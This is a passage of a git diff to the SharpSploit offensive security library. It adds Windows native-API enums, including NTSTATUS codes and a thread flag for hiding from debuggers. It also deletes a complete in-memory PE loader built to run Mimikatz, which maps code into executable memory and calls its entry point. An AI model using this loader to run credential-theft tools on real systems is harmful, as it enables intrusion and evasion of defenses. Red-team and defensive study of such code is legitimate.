PROCESS_FOREGROUND_BACKGROUND + ProcessWow64Information, // q: ULONG_PTR + ProcessImageFileName, // q: UNICODE_STRING + ProcessLUIDDeviceMapsEnabled, // q: ULONG + ProcessBreakOnTermination, // qs: ULONG + ProcessDebugObjectHandle, // 30, q: HANDLE + ProcessDebugFlags, // qs: ULONG + ProcessHandleTracing, // q: PROCESS_HANDLE_TRACING_QUERY; s: size 0 disables, otherwise enables + ProcessIoPriority, // qs: ULONG + ProcessExecuteFlags, // qs: ULONG + ProcessResourceManagement, + ProcessCookie, // q: ULONG + ProcessImageInformation, // q: SECTION_IMAGE_INFORMATION + ProcessCycleTime, // q: PROCESS_CYCLE_TIME_INFORMATION + ProcessPagePriority, // q: ULONG + ProcessInstrumentationCallback, // 40 + ProcessThreadStackAllocation, // s: PROCESS_STACK_ALLOCATION_INFORMATION, PROCESS_STACK_ALLOCATION_INFORMATION_EX + ProcessWorkingSetWatchEx, // q: PROCESS_WS_WATCH_INFORMATION_EX[] + ProcessImageFileNameWin32, // q: UNICODE_STRING + ProcessImageFileMapping, // q: HANDLE (input) + ProcessAffinityUpdateMode, // qs: PROCESS_AFFINITY_UPDATE_MODE + ProcessMemoryAllocationMode, // qs: PROCESS_MEMORY_ALLOCATION_MODE + ProcessGroupInformation, // q: USHORT[] + ProcessTokenVirtualizationEnabled, // s: ULONG + ProcessConsoleHostProcess, // q: ULONG_PTR + ProcessWindowInformation, // 50, q: PROCESS_WINDOW_INFORMATION + ProcessHandleInformation, // q: PROCESS_HANDLE_SNAPSHOT_INFORMATION // since WIN8 + ProcessMitigationPolicy, // s: PROCESS_MITIGATION_POLICY_INFORMATION + ProcessDynamicFunctionTableInformation, + ProcessHandleCheckingMode, + ProcessKeepAliveCount, // q: PROCESS_KEEPALIVE_COUNT_INFORMATION + ProcessRevokeFileHandles, // s: PROCESS_REVOKE_FILE_HANDLES_INFORMATION + MaxProcessInfoClass + }; + + /// + /// NT_CREATION_FLAGS is an undocumented enum. https://processhacker.sourceforge.io/doc/ntpsapi_8h_source.html + /// + public enum NT_CREATION_FLAGS : ulong + { + CREATE_SUSPENDED = 0x00000001, + SKIP_THREAD_ATTACH = 0x00000002, + HIDE_FROM_DEBUGGER = 0x00000004, + HAS_SECURITY_DESCRIPTOR = 0x00000010, + ACCESS_CHECK_IN_TARGET = 0x00000020, + INITIAL_THREAD = 0x00000080 + } + + /// + /// NTSTATUS is an undocument enum. https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-erref/596a1078-e883-4972-9bbc-49e60bebca55 + /// https://www.pinvoke.net/default.aspx/Enums/NtStatus.html + /// + public enum NTSTATUS : uint + { + // Success + Success = 0x00000000, + Wait0 = 0x00000000, + Wait1 = 0x00000001, + Wait2 = 0x00000002, + Wait3 = 0x00000003, + Wait63 = 0x0000003f, + Abandoned = 0x00000080, + AbandonedWait0 = 0x00000080, + AbandonedWait1 = 0x00000081, + AbandonedWait2 = 0x00000082, + AbandonedWait3 = 0x00000083, + AbandonedWait63 = 0x000000bf, + UserApc = 0x000000c0, + KernelApc = 0x00000100, + Alerted = 0x00000101, + Timeout = 0x00000102, + Pending = 0x00000103, + Reparse = 0x00000104, + MoreEntries = 0x00000105, + NotAllAssigned = 0x00000106, + SomeNotMapped = 0x00000107, + OpLockBreakInProgress = 0x00000108, + VolumeMounted = 0x00000109, + RxActCommitted = 0x0000010a, + NotifyCleanup = 0x0000010b, + NotifyEnumDir = 0x0000010c, + NoQuotasForAccount = 0x0000010d, + PrimaryTransportConnectFailed = 0x0000010e, + PageFaultTransition = 0x00000110, + PageFaultDemandZero = 0x00000111, + PageFaultCopyOnWrite = 0x00000112, + PageFaultGuardPage = 0x00000113, + PageFaultPagingFile = 0x00000114, + CrashDump = 0x00000116, + ReparseObject = 0x00000118, + NothingToTerminate = 0x00000122, + ProcessNotInJob = 0x00000123, + ProcessInJob = 0x00000124, + ProcessCloned = 0x00000129, + FileLockedWithOnlyReaders = 0x0000012a, + FileLockedWithWriters = 0x0000012b, + + // Informational + Informational = 0x40000000, + ObjectNameExists = 0x40000000, + ThreadWasSuspended = 0x40000001, + WorkingSetLimitRange = 0x40000002, + ImageNotAtBase = 0x40000003, + RegistryRecovered = 0x40000009, + + // Warning + Warning = 0x80000000, + GuardPageViolation = 0x80000001, + DatatypeMisalignment = 0x80000002, + Breakpoint = 0x80000003, + SingleStep = 0x80000004, + BufferOverflow = 0x80000005, + NoMoreFiles = 0x80000006, + HandlesClosed = 0x8000000a, + PartialCopy = 0x8000000d, + DeviceBusy = 0x80000011, + InvalidEaName = 0x80000013, + EaListInconsistent = 0x80000014, + NoMoreEntries = 0x8000001a, + LongJump = 0x80000026, + DllMightBeInsecure = 0x8000002b, + + // Error + Error = 0xc0000000, + Unsuccessful = 0xc0000001, + NotImplemented = 0xc0000002, + InvalidInfoClass = 0xc0000003, + InfoLengthMismatch = 0xc0000004, + AccessViolation = 0xc0000005, + InPageError = 0xc0000006, + PagefileQuota = 0xc0000007, + InvalidHandle = 0xc0000008, + BadInitialStack = 0xc0000009, + BadInitialPc = 0xc000000a, + InvalidCid = 0xc000000b, + TimerNotCanceled = 0xc000000c, + InvalidParameter = 0xc000000d, + NoSuchDevice = 0xc000000e, + NoSuchFile = 0xc000000f, + InvalidDeviceRequest = 0xc0000010, + EndOfFile = 0xc0000011, + WrongVolume = 0xc0000012, + NoMediaInDevice = 0xc0000013, + NoMemory = 0xc0000017, + ConflictingAddresses = 0xc0000018, + NotMappedView = 0xc0000019, + UnableToFreeVm = 0xc000001a, + UnableToDeleteSection = 0xc000001b, + IllegalInstruction = 0xc000001d, + AlreadyCommitted = 0xc0000021, + AccessDenied = 0xc0000022, + BufferTooSmall = 0xc0000023, + ObjectTypeMismatch = 0xc0000024, + NonContinuableException = 0xc0000025, + BadStack = 0xc0000028, + NotLocked = 0xc000002a, + NotCommitted = 0xc000002d, + InvalidParameterMix = 0xc0000030, + ObjectNameInvalid = 0xc0000033, + ObjectNameNotFound = 0xc0000034, + ObjectNameCollision = 0xc0000035, + ObjectPathInvalid = 0xc0000039, + ObjectPathNotFound = 0xc000003a, + ObjectPathSyntaxBad = 0xc000003b, + DataOverrun = 0xc000003c, + DataLate = 0xc000003d, + DataError = 0xc000003e, + CrcError = 0xc000003f, + SectionTooBig = 0xc0000040, + PortConnectionRefused = 0xc0000041, + InvalidPortHandle = 0xc0000042, + SharingViolation = 0xc0000043, + QuotaExceeded = 0xc0000044, + InvalidPageProtection = 0xc0000045, + MutantNotOwned = 0xc0000046, + SemaphoreLimitExceeded = 0xc0000047, + PortAlreadySet = 0xc0000048, + SectionNotImage = 0xc0000049, + SuspendCountExceeded = 0xc000004a, + ThreadIsTerminating = 0xc000004b, + BadWorkingSetLimit = 0xc000004c, + IncompatibleFileMap = 0xc000004d, + SectionProtection = 0xc000004e, + EasNotSupported = 0xc000004f, + EaTooLarge = 0xc0000050, + NonExistentEaEntry = 0xc0000051, + NoEasOnFile = 0xc0000052, + EaCorruptError = 0xc0000053, + FileLockConflict = 0xc0000054, + LockNotGranted = 0xc0000055, + DeletePending = 0xc0000056, + CtlFileNotSupported = 0xc0000057, + UnknownRevision = 0xc0000058, + RevisionMismatch = 0xc0000059, + InvalidOwner = 0xc000005a, + InvalidPrimaryGroup = 0xc000005b, + NoImpersonationToken = 0xc000005c, + CantDisableMandatory = 0xc000005d, + NoLogonServers = 0xc000005e, + NoSuchLogonSession = 0xc000005f, + NoSuchPrivilege = 0xc0000060, + PrivilegeNotHeld = 0xc0000061, + InvalidAccountName = 0xc0000062, + UserExists = 0xc0000063, + NoSuchUser = 0xc0000064, + GroupExists = 0xc0000065, + NoSuchGroup = 0xc0000066, + MemberInGroup = 0xc0000067, + MemberNotInGroup = 0xc0000068, + LastAdmin = 0xc0000069, + WrongPassword = 0xc000006a, + IllFormedPassword = 0xc000006b, + PasswordRestriction = 0xc000006c, + LogonFailure = 0xc000006d, + AccountRestriction = 0xc000006e, + InvalidLogonHours = 0xc000006f, + InvalidWorkstation = 0xc0000070, + PasswordExpired = 0xc0000071, + AccountDisabled = 0xc0000072, + NoneMapped = 0xc0000073, + TooManyLuidsRequested = 0xc0000074, + LuidsExhausted = 0xc0000075, + InvalidSubAuthority = 0xc0000076, + InvalidAcl = 0xc0000077, + InvalidSid = 0xc0000078, + InvalidSecurityDescr = 0xc0000079, + ProcedureNotFound = 0xc000007a, + InvalidImageFormat = 0xc000007b, + NoToken = 0xc000007c, + BadInheritanceAcl = 0xc000007d, + RangeNotLocked = 0xc000007e, + DiskFull = 0xc000007f, + ServerDisabled = 0xc0000080, + ServerNotDisabled = 0xc0000081, + TooManyGuidsRequested = 0xc0000082, + GuidsExhausted = 0xc0000083, + InvalidIdAuthority = 0xc0000084, + AgentsExhausted = 0xc0000085, + InvalidVolumeLabel = 0xc0000086, + SectionNotExtended = 0xc0000087, + NotMappedData = 0xc0000088, + ResourceDataNotFound = 0xc0000089, + ResourceTypeNotFound = 0xc000008a, + ResourceNameNotFound = 0xc000008b, + ArrayBoundsExceeded = 0xc000008c, + FloatDenormalOperand = 0xc000008d, + FloatDivideByZero = 0xc000008e, + FloatInexactResult = 0xc000008f, + FloatInvalidOperation = 0xc0000090, + FloatOverflow = 0xc0000091, + FloatStackCheck = 0xc0000092, + FloatUnderflow = 0xc0000093, + IntegerDivideByZero = 0xc0000094, + IntegerOverflow = 0xc0000095, + PrivilegedInstruction = 0xc0000096, + TooManyPagingFiles = 0xc0000097, + FileInvalid = 0xc0000098, + InsufficientResources = 0xc000009a, + InstanceNotAvailable = 0xc00000ab, + PipeNotAvailable = 0xc00000ac, + InvalidPipeState = 0xc00000ad, + PipeBusy = 0xc00000ae, + IllegalFunction = 0xc00000af, + PipeDisconnected = 0xc00000b0, + PipeClosing = 0xc00000b1, + PipeConnected = 0xc00000b2, + PipeListening = 0xc00000b3, + InvalidReadMode = 0xc00000b4, + IoTimeout = 0xc00000b5, + FileForcedClosed = 0xc00000b6, + ProfilingNotStarted = 0xc00000b7, + ProfilingNotStopped = 0xc00000b8, + NotSameDevice = 0xc00000d4, + FileRenamed = 0xc00000d5, + CantWait = 0xc00000d8, + PipeEmpty = 0xc00000d9, + CantTerminateSelf = 0xc00000db, + InternalError = 0xc00000e5, + InvalidParameter1 = 0xc00000ef, + InvalidParameter2 = 0xc00000f0, + InvalidParameter3 = 0xc00000f1, + InvalidParameter4 = 0xc00000f2, + InvalidParameter5 = 0xc00000f3, + InvalidParameter6 = 0xc00000f4, + InvalidParameter7 = 0xc00000f5, + InvalidParameter8 = 0xc00000f6, + InvalidParameter9 = 0xc00000f7, + InvalidParameter10 = 0xc00000f8, + InvalidParameter11 = 0xc00000f9, + InvalidParameter12 = 0xc00000fa, + ProcessIsTerminating = 0xc000010a, + MappedFileSizeZero = 0xc000011e, + TooManyOpenedFiles = 0xc000011f, + Cancelled = 0xc0000120, + CannotDelete = 0xc0000121, + InvalidComputerName = 0xc0000122, + FileDeleted = 0xc0000123, + SpecialAccount = 0xc0000124, + SpecialGroup = 0xc0000125, + SpecialUser = 0xc0000126, + MembersPrimaryGroup = 0xc0000127, + FileClosed = 0xc0000128, + TooManyThreads = 0xc0000129, + ThreadNotInProcess = 0xc000012a, + TokenAlreadyInUse = 0xc000012b, + PagefileQuotaExceeded = 0xc000012c, + CommitmentLimit = 0xc000012d, + InvalidImageLeFormat = 0xc000012e, + InvalidImageNotMz = 0xc000012f, + InvalidImageProtect = 0xc0000130, + InvalidImageWin16 = 0xc0000131, + LogonServer = 0xc0000132, + DifferenceAtDc = 0xc0000133, + SynchronizationRequired = 0xc0000134, + DllNotFound = 0xc0000135, + IoPrivilegeFailed = 0xc0000137, + OrdinalNotFound = 0xc0000138, + EntryPointNotFound = 0xc0000139, + ControlCExit = 0xc000013a, + InvalidAddress = 0xc0000141, + PortNotSet = 0xc0000353, + DebuggerInactive = 0xc0000354, + CallbackBypass = 0xc0000503, + PortClosed = 0xc0000700, + MessageLost = 0xc0000701, + InvalidMessage = 0xc0000702, + RequestCanceled = 0xc0000703, + RecursiveDispatch = 0xc0000704, + LpcReceiveBufferExpected = 0xc0000705, + LpcInvalidConnectionUsage = 0xc0000706, + LpcRequestsNotAllowed = 0xc0000707, + ResourceInUse = 0xc0000708, + ProcessIsProtected = 0xc0000712, + VolumeDirty = 0xc0000806, + FileCheckedOut = 0xc0000901, + CheckOutRequired = 0xc0000902, + BadFileType = 0xc0000903, + FileTooLarge = 0xc0000904, + FormsAuthRequired = 0xc0000905, + VirusInfected = 0xc0000906, + VirusDeleted = 0xc0000907, + TransactionalConflict = 0xc0190001, + InvalidTransaction = 0xc0190002, + TransactionNotActive = 0xc0190003, + TmInitializationFailed = 0xc0190004, + RmNotActive = 0xc0190005, + RmMetadataCorrupt = 0xc0190006, + TransactionNotJoined = 0xc0190007, + DirectoryNotRm = 0xc0190008, + CouldNotResizeLog = 0xc0190009, + TransactionsUnsupportedRemote = 0xc019000a, + LogResizeInvalidSize = 0xc019000b, + RemoteFileVersionMismatch = 0xc019000c, + CrmProtocolAlreadyExists = 0xc019000f, + TransactionPropagationFailed = 0xc0190010, + CrmProtocolNotFound = 0xc0190011, + TransactionSuperiorExists = 0xc0190012, + TransactionRequestNotValid = 0xc0190013, + TransactionNotRequested = 0xc0190014, + TransactionAlreadyAborted = 0xc0190015, + TransactionAlreadyCommitted = 0xc0190016, + TransactionInvalidMarshallBuffer = 0xc0190017, + CurrentTransactionNotValid = 0xc0190018, + LogGrowthFailed = 0xc0190019, + ObjectNoLongerExists = 0xc0190021, + StreamMiniversionNotFound = 0xc0190022, + StreamMiniversionNotValid = 0xc0190023, + MiniversionInaccessibleFromSpecifiedTransaction = 0xc0190024, + CantOpenMiniversionWithModifyIntent = 0xc0190025, + CantCreateMoreStreamMiniversions = 0xc0190026, + HandleNoLongerValid = 0xc0190028, + NoTxfMetadata = 0xc0190029, + LogCorruptionDetected = 0xc0190030, + CantRecoverWithHandleOpen = 0xc0190031, + RmDisconnected = 0xc0190032, + EnlistmentNotSuperior = 0xc0190033, + RecoveryNotNeeded = 0xc0190034, + RmAlreadyStarted = 0xc0190035, + FileIdentityNotPersistent = 0xc0190036, + CantBreakTransactionalDependency = 0xc0190037, + CantCrossRmBoundary = 0xc0190038, + TxfDirNotEmpty = 0xc0190039, + IndoubtTransactionsExist = 0xc019003a, + TmVolatile = 0xc019003b, + RollbackTimerExpired = 0xc019003c, + TxfAttributeCorrupt = 0xc019003d, + EfsNotAllowedInTransaction = 0xc019003e, + TransactionalOpenNotAllowed = 0xc019003f, + TransactedMappingUnsupportedRemote = 0xc0190040, + TxfMetadataAlreadyPresent = 0xc0190041, + TransactionScopeCallbacksNotSet = 0xc0190042, + TransactionRequiredPromotion = 0xc0190043, + CannotExecuteFileInTransaction = 0xc0190044, + TransactionsNotFrozen = 0xc0190045, + + MaximumNtStatus = 0xffffffff + } + } +} diff --git a/SharpSploit/Execution/PE.cs b/SharpSploit/Execution/PE.cs deleted file mode 100644 index f1fd1a4..0000000 --- a/SharpSploit/Execution/PE.cs +++ /dev/null @@ -1,550 +0,0 @@ -// Author: Ryan Cobb (@cobbr_io) -// Project: SharpSploit (https://github.com/cobbr/SharpSploit) -// License: BSD 3-Clause - -using System; -using System.IO; -using System.Runtime.InteropServices; - -namespace SharpSploit.Execution -{ - /// - /// PE is a library for loading PEs in memory. It currently only work for the Mimikatz PE, not for arbitrary PEs. - /// - /// - /// PE has been adapted from Casey Smith's (@subtee) PELoader which is no longer available online. However, Chris Ross' - /// (@xorrior) fork is available here: https://github.com/xorrior/Random-CSharpTools/tree/master/DllLoader/DllLoader - /// - public class PE - { - [Flags] - public enum DataSectionFlags : uint - { - Stub = 0x00000000, - } - - public bool Is32BitHeader - { - get - { - UInt16 IMAGE_FILE_32BIT_MACHINE = 0x0100; - return (IMAGE_FILE_32BIT_MACHINE & FileHeader.Characteristics) == IMAGE_FILE_32BIT_MACHINE; - } - } - - public IMAGE_FILE_HEADER FileHeader { get; private set; } - - /// Gets the optional header - public IMAGE_OPTIONAL_HEADER32 OptionalHeader32 { get; private set; } - - /// Gets the optional header - public IMAGE_OPTIONAL_HEADER64 OptionalHeader64 { get; private set; } - - public IMAGE_SECTION_HEADER[] ImageSectionHeaders { get; private set; } - - public byte[] PEBytes { get; private set; } - - /// The DOS header - private IMAGE_DOS_HEADER dosHeader; - //Primary class for loading PE - [UnmanagedFunctionPointer(CallingConvention.Cdecl)] - private delegate bool main(IntPtr arg1, uint arg2, IntPtr lparam); - - private static IntPtr codebase; - - /// - /// PE Constructor - /// - /// PE raw bytes. - public PE(byte[] PEBytes) - { - // Read in the DLL or EXE and get the timestamp - using (MemoryStream stream = new MemoryStream(PEBytes, 0, PEBytes.Length)) - { - BinaryReader reader = new BinaryReader(stream); - dosHeader = FromBinaryReader(reader); - - // Add 4 bytes to the offset - stream.Seek(dosHeader.e_lfanew, SeekOrigin.Begin); - - UInt32 ntHeadersSignature = reader.ReadUInt32(); - FileHeader = FromBinaryReader(reader); - if (this.Is32BitHeader) - { - OptionalHeader32 = FromBinaryReader(reader); - } - else - { - OptionalHeader64 = FromBinaryReader(reader); - } - - ImageSectionHeaders = new IMAGE_SECTION_HEADER[FileHeader.NumberOfSections]; - for (int headerNo = 0; headerNo < ImageSectionHeaders.Length; ++headerNo) - { - ImageSectionHeaders[headerNo] = FromBinaryReader(reader); - } - this.PEBytes = PEBytes; - } - } - - /// - /// Loads a PE with a specified byte array. (Requires Admin) **(*Currently broken. Works for Mimikatz, but not arbitrary PEs*) - /// - /// - /// PE - public static PE Load(byte[] PEBytes) - { - PE pe = new PE(PEBytes); - if (pe.Is32BitHeader) - { - // Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader32.ImageBase.ToString("X4")); - codebase = Win32.Kernel32.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader32.SizeOfImage, Win32.Kernel32.MEM_COMMIT, Win32.WinNT.PAGE_EXECUTE_READWRITE); - // Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader32.SizeOfImage.ToString("X4"), codebase.ToString("X4")); - } - else - { - // Console.WriteLine("Preferred Load Address = {0}", pe.OptionalHeader64.ImageBase.ToString("X4")); - codebase = Win32.Kernel32.VirtualAlloc(IntPtr.Zero, pe.OptionalHeader64.SizeOfImage, Win32.Kernel32.MEM_COMMIT, Win32.WinNT.PAGE_EXECUTE_READWRITE); - // Console.WriteLine("Allocated Space For {0} at {1}", pe.OptionalHeader64.SizeOfImage.ToString("X4"), codebase.ToString("X4")); - } - - // Copy Sections - for (int i = 0; i < pe.FileHeader.NumberOfSections; i++) - { - IntPtr y = Win32.Kernel32.VirtualAlloc(IntPtrAdd(codebase, (int)pe.ImageSectionHeaders[i].VirtualAddress), pe.ImageSectionHeaders[i].SizeOfRawData, Win32.Kernel32.MEM_COMMIT, Win32.WinNT.PAGE_EXECUTE_READWRITE); - Marshal.Copy(pe.PEBytes, (int)pe.ImageSectionHeaders[i].PointerToRawData, y, (int)pe.ImageSectionHeaders[i].SizeOfRawData); - // Console.WriteLine("Section {0}, Copied To {1}", new string(pe.ImageSectionHeaders[i].Name), y.ToString("X4")); - } - - // Perform Base Relocation - // Calculate Delta - IntPtr currentbase = codebase; - long delta; - if (pe.Is32BitHeader) - { - delta = (int)(currentbase.ToInt32() - (int)pe.OptionalHeader32.ImageBase); - } - else - { - delta = (long)(currentbase.ToInt64() - (long)pe.OptionalHeader64.ImageBase); - } - // Console.WriteLine("Delta = {0}", delta.ToString("X4")); - - // Modify Memory Based On Relocation Table - IntPtr relocationTable; - if (pe.Is32BitHeader) - { - relocationTable = (IntPtrAdd(codebase, (int)pe.OptionalHeader32.BaseRelocationTable.VirtualAddress)); - } - else - { - relocationTable = (IntPtrAdd(codebase, (int)pe.OptionalHeader64.BaseRelocationTable.VirtualAddress)); - } - - Win32.Kernel32.IMAGE_BASE_RELOCATION relocationEntry = new Win32.Kernel32.IMAGE_BASE_RELOCATION(); - relocationEntry = (Win32.Kernel32.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(relocationTable, typeof(Win32.Kernel32.IMAGE_BASE_RELOCATION)); - - int imageSizeOfBaseRelocation = Marshal.SizeOf(typeof(Win32.Kernel32.IMAGE_BASE_RELOCATION)); - IntPtr nextEntry = relocationTable; - int sizeofNextBlock = (int)relocationEntry.SizeOfBlock; - IntPtr offset = relocationTable; - - while (true) - { - Win32.Kernel32.IMAGE_BASE_RELOCATION relocationNextEntry = new Win32.Kernel32.IMAGE_BASE_RELOCATION(); - IntPtr x = IntPtrAdd(relocationTable, sizeofNextBlock); - relocationNextEntry = (Win32.Kernel32.IMAGE_BASE_RELOCATION)Marshal.PtrToStructure(x, typeof(Win32.Kernel32.IMAGE_BASE_RELOCATION)); - - IntPtr dest = IntPtrAdd(codebase, (int)relocationEntry.VirtualAdress); - - for (int i = 0; i < (int)((relocationEntry.SizeOfBlock - imageSizeOfBaseRelocation) / 2); i++) - { - IntPtr patchAddr; - UInt16 value = (UInt16)Marshal.ReadInt16(offset, 8 + (2 * i)); - - UInt16 type = (UInt16)(value >> 12); - UInt16 fixup = (UInt16)(value & 0xfff); - - switch (type) - { - case 0x0: - break; - case 0x3: - patchAddr = IntPtrAdd(dest, fixup); - //Add Delta To Location. - int originalx86Addr = Marshal.ReadInt32(patchAddr); - Marshal.WriteInt32(patchAddr, originalx86Addr + (int)delta); - break; - case 0xA: - patchAddr = IntPtrAdd(dest, fixup); - //Add Delta To Location. - long originalAddr = Marshal.ReadInt64(patchAddr); - Marshal.WriteInt64(patchAddr, originalAddr + delta); - break; - } - - } - - offset = IntPtrAdd(relocationTable, sizeofNextBlock); - sizeofNextBlock += (int)relocationNextEntry.SizeOfBlock; - relocationEntry = relocationNextEntry; - - nextEntry = IntPtrAdd(nextEntry, sizeofNextBlock); - - if (relocationNextEntry.SizeOfBlock == 0) break; - } - - // Resolve Imports - - IntPtr z; - IntPtr oa1; - int oa2; - - if (pe.Is32BitHeader) - { - z = IntPtrAdd(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress); - oa1 = IntPtrAdd(codebase, (int)pe.OptionalHeader32.ImportTable.VirtualAddress); - oa2 = Marshal.ReadInt32(IntPtrAdd(oa1, 16)); - } - else - { - z = IntPtrAdd(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress); - oa1 = IntPtrAdd(codebase, (int)pe.OptionalHeader64.ImportTable.VirtualAddress); - oa2 = Marshal.ReadInt32(IntPtrAdd(oa1, 16)); - } - - // Get And Display Each DLL To Load - IntPtr threadStart; - int VirtualAddress, AddressOfEntryPoint, ByteSize; - if (pe.Is32BitHeader) - { - VirtualAddress = (int)pe.OptionalHeader32.ImportTable.VirtualAddress; - AddressOfEntryPoint = (int)pe.OptionalHeader32.AddressOfEntryPoint; - ByteSize = 4; - } - else - { - VirtualAddress = (int)pe.OptionalHeader64.ImportTable.VirtualAddress; - AddressOfEntryPoint = (int)pe.OptionalHeader64.AddressOfEntryPoint; - ByteSize = 8; - } - int j = 0; - while (true) - { - IntPtr a1 = IntPtrAdd(codebase, (20 * j) + VirtualAddress); - int entryLength = Marshal.ReadInt32(IntPtrAdd(a1, 16)); - IntPtr a2 = IntPtrAdd(codebase, (int)pe.ImageSectionHeaders[1].VirtualAddress + (entryLength - oa2)); - IntPtr dllNamePTR = (IntPtr)(IntPtrAdd(codebase, Marshal.ReadInt32(IntPtrAdd(a1, 12)))); - string DllName = Marshal.PtrToStringAnsi(dllNamePTR); - if (DllName == "") { break; } - - IntPtr handle = Win32.Kernel32.LoadLibrary(DllName); - // Console.WriteLine("Loaded {0}", DllName); - int k = 0; - while (true) - { - IntPtr dllFuncNamePTR = (IntPtrAdd(codebase, Marshal.ReadInt32(a2))); - string DllFuncName = Marshal.PtrToStringAnsi(IntPtrAdd(dllFuncNamePTR, 2)); - IntPtr funcAddy = Win32.Kernel32.GetProcAddress(handle, DllFuncName); - if (pe.Is32BitHeader) { Marshal.WriteInt32(a2, (int)funcAddy); } - else { Marshal.WriteInt64(a2, (long)funcAddy); } - a2 = IntPtrAdd(a2, ByteSize); - if (DllFuncName == "") break; - k++; - } - j++; - } - // Transfer Control To OEP - // Call dllmain - threadStart = IntPtrAdd(codebase, AddressOfEntryPoint); - main dllmain = (main)Marshal.GetDelegateForFunctionPointer(threadStart, typeof(main)); - dllmain(codebase, 1, IntPtr.Zero); - // Console.WriteLine("Thread Complete"); - return pe; - } - - /// - /// Gets a pointer to an exported function in the PE. Useful to call specific exported functions after loading the PE. - /// - /// Name of the function to get a pointer for. - /// Pointer to the function. - public IntPtr GetFunctionExport(string funcName) - { - IntPtr ExportTablePtr = IntPtr.Zero; - PE.IMAGE_EXPORT_DIRECTORY expDir; - - if (this.Is32BitHeader && this.OptionalHeader32.ExportTable.Size == 0) { return IntPtr.Zero; } - else if (!this.Is32BitHeader && this.OptionalHeader64.ExportTable.Size == 0) { return IntPtr.Zero; } - - if (this.Is32BitHeader) - { - ExportTablePtr = (IntPtr)((ulong)codebase + (ulong)this.OptionalHeader32.ExportTable.VirtualAddress); - } - else - { - ExportTablePtr = (IntPtr)((ulong)codebase + (ulong)this.OptionalHeader64.ExportTable.VirtualAddress); - } - - expDir = (PE.IMAGE_EXPORT_DIRECTORY)Marshal.PtrToStructure(ExportTablePtr, typeof(PE.IMAGE_EXPORT_DIRECTORY)); - for (int i = 0; i < expDir.NumberOfNames; i++) - { - IntPtr NameOffsetPtr = (IntPtr)((ulong)codebase + (ulong)expDir.AddressOfNames); - NameOffsetPtr = (IntPtr)((ulong)NameOffsetPtr + (ulong)(i * Marshal.SizeOf(typeof(uint)))); - IntPtr NamePtr = (IntPtr)((ulong)codebase + (uint)Marshal.PtrToStructure(NameOffsetPtr, typeof(uint))); - - string Name = Marshal.PtrToStringAnsi(NamePtr); - if (Name.Contains(funcName)) - { - IntPtr AddressOfFunctions = (IntPtr)((ulong)codebase + (ulong)expDir.AddressOfFunctions); - IntPtr OrdinalRvaPtr = (IntPtr)((ulong)codebase + (ulong)(expDir.AddressOfOrdinals + (i * Marshal.SizeOf(typeof(UInt16))))); - UInt16 FuncIndex = (UInt16)Marshal.PtrToStructure(OrdinalRvaPtr, typeof(UInt16)); - IntPtr FuncOffsetLocation = (IntPtr)((ulong)AddressOfFunctions + (ulong)(FuncIndex * Marshal.SizeOf(typeof(UInt32)))); - IntPtr FuncLocationInMemory = (IntPtr)((ulong)codebase + (uint)Marshal.PtrToStructure(FuncOffsetLocation, typeof(UInt32))); - return FuncLocationInMemory; - } - } - return IntPtr.Zero; - } - - private static T FromBinaryReader(BinaryReader reader) - { - // Read in a byte array - byte[] bytes = reader.ReadBytes(Marshal.SizeOf(typeof(T))); - - // Pin the managed memory while, copy it out the data, then unpin it - GCHandle handle = GCHandle.Alloc(bytes, GCHandleType.Pinned); - T theStructure = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T)); - handle.Free(); - - return theStructure; - } - - private static IntPtr IntPtrAdd(IntPtr a, int b) - { - IntPtr ptr = new IntPtr(a.ToInt64() + b); - return ptr; - } - - public struct IMAGE_DOS_HEADER - { // DOS .EXE header - public UInt16 e_magic; // Magic number - public UInt16 e_cblp; // Bytes on last page of file - public UInt16 e_cp; // Pages in file - public UInt16 e_crlc; // Relocations - public UInt16 e_cparhdr; // Size of header in paragraphs - public UInt16 e_minalloc; // Minimum extra paragraphs needed - public UInt16 e_maxalloc; // Maximum extra paragraphs needed - public UInt16 e_ss; // Initial (relative) SS value - public UInt16 e_sp; // Initial SP value - public UInt16 e_csum; // Checksum - public UInt16 e_ip; // Initial IP value - public UInt16 e_cs; // Initial (relative) CS value - public UInt16 e_lfarlc; // File address of relocation table - public UInt16 e_ovno; // Overlay number - public UInt16 e_res_0; // Reserved words - public UInt16 e_res_1; // Reserved words - public UInt16 e_res_2; // Reserved words - public UInt16 e_res_3; // Reserved words - public UInt16 e_oemid; // OEM identifier (for e_oeminfo) - public UInt16 e_oeminfo; // OEM information; e_oemid specific - public UInt16 e_res2_0; // Reserved words - public UInt16 e_res2_1; // Reserved words - public UInt16 e_res2_2; // Reserved words - public UInt16 e_res2_3; // Reserved words - public UInt16 e_res2_4; // Reserved words - public UInt16 e_res2_5; // Reserved words - public UInt16 e_res2_6; // Reserved words - public UInt16 e_res2_7; // Reserved words - public UInt16 e_res2_8; // Reserved words - public UInt16 e_res2_9; // Reserved words - public UInt32 e_lfanew; // File address of new exe header - } - - [StructLayout(LayoutKind.Sequential)] - public struct IMAGE_DATA_DIRECTORY - { - public UInt32 VirtualAddress; - public UInt32 Size; - } - - [StructLayout(LayoutKind.Sequential, Pack = 1)] - public struct IMAGE_OPTIONAL_HEADER32 - { - public UInt16 Magic; - public Byte MajorLinkerVersion; - public Byte MinorLinkerVersion; - public UInt32 SizeOfCode; - public UInt32 SizeOfInitializedData; - public UInt32 SizeOfUninitializedData; - public UInt32 AddressOfEntryPoint; - public UInt32 BaseOfCode; - public UInt32 BaseOfData; - public UInt32 ImageBase; - public UInt32 SectionAlignment; - public UInt32 FileAlignment; - public UInt16 MajorOperatingSystemVersion; - public UInt16 MinorOperatingSystemVersion; - public UInt16 MajorImageVersion; - public UInt16 MinorImageVersion; - public UInt16 MajorSubsystemVersion; - public UInt16 MinorSubsystemVersion; - public UInt32 Win32VersionValue; - public UInt32 SizeOfImage; - public UInt32 SizeOfHeaders; - public UInt32 CheckSum; - public UInt16 Subsystem; - public UInt16 DllCharacteristics; - public UInt32 SizeOfStackReserve; - public UInt32 SizeOfStackCommit; - public UInt32 SizeOfHeapReserve; - public UInt32 SizeOfHeapCommit; - public UInt32 LoaderFlags; - public UInt32 NumberOfRvaAndSizes; - - public 